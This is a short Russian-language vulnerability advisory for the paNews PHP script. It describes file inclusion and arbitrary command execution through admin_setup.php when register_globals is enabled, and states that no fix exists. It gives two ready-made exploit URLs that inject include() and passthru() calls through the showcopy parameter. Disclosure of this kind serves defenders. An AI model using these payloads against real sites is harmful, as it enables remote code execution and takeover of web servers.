Выполнение произвольных команд и php-инклюдинг в paNews

Уязвимость существует при обработке некоторых параметров в сценарии admin_setup.php при опции register_globals=on в конфигурационном файле php.ini. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольный php сценарий и произвольные команды на системе с привилегиями текущего web сервера. Примеры:

PHP-инклюдинг

http://victim/panews/includes/admin_setup.php?access[]= admins&do=updatesets&form[comments]= $nst&form[autoapprove]=$nst&disvercheck= $nst&installed=$asd&showcopy=include($nst)

Выполнение команд

http://victim/panews/includes/admin_setup.php?access[]=admins& amp;do=updatesets&form[comments]=$nst&form[autoapprove]= $nst&disvercheck=$nst&installed=$asd&showcopy=passthru($nst)

Примечание: Для успешной реализации уязвимости необходимо отключить выполнение javscript сценариев в браузере.

URL производителя: http://www.phparena.net/panews.php

Решение: Способов устранения уязвимости не существует в настоящее время.